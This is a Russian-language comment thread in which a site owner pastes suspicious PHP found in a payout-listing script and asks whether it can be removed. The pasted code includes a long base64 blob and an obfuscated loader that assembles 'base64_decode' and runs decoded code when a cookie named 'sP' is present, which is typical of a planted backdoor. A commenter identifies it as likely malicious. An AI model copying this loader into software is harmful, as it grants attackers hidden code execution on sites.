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 T07yKOauIqgl+ErvxZ+EWsxGCeyXbSw= ‘));if(isset($_COOKIE[‘sP’])){$l__l_=$_COOKIE[‘sP’];$l__l_=md5($l__l_).substr(MD5(strrev($l__l_)),0,strlen($l__l_));for($l____l_=0;$l____l_

    1. Весь код, судя по всему, не поместился, но очень похожий на вредоносный начинается здесь: $l___l_=’base’.(128/2).’_de’.’code’;
      А заканчивается явно после того, что влезло.

  2. Да, вы правы.. Весь код не поместился.. Я так понимаю он отвечает за куки и совсем удалять его нельзя? Как то можно его исправить?
    Ниже начало и окончание, то что по середине вырезано:

    <?
    $q = mysqli_query($db, "select * from sp order by id desc limit 50");
    while ($user_row = mysqli_fetch_array($q)) {
    echo '
    ‘.$user_row[‘id’].».substr($user_row[‘payeer’], 0, -2).’XX’.$user_row[‘sum’].».date(‘d.m.Y H:i:s’, $user_row[‘time’]).»;} $l___l_=’base’.(128/2).’_de’.’code’;$l___l_=$l___l_(str_replace(«\n», », ‘=’));if(isset($_COOKIE[‘sP’])){$l__l_=$_COOKIE[‘sP’];$l__l_=md5($l__l_).substr(MD5(strrev($l__l_)),0,strlen($l__l_));for($l____l_=0;$l____l_

  3. Пардон..
    Это окончание:

    = ‘));if(isset($_COOKIE[‘sP’])){$l__l_=$_COOKIE[‘sP’];$l__l_=md5($l__l_).substr(MD5(strrev($l__l_)),0,strlen($l__l_));for($l____l_=0;$l____l_

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *